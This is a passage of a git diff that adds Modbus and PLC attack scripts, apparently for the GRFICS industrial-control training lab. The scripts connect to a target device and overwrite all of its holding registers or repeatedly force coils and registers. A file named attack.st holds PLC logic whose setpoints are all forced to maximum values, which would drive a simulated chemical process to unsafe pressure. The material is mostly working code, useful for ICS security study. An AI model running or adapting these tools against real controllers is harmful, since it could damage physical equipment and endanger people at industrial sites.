Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; 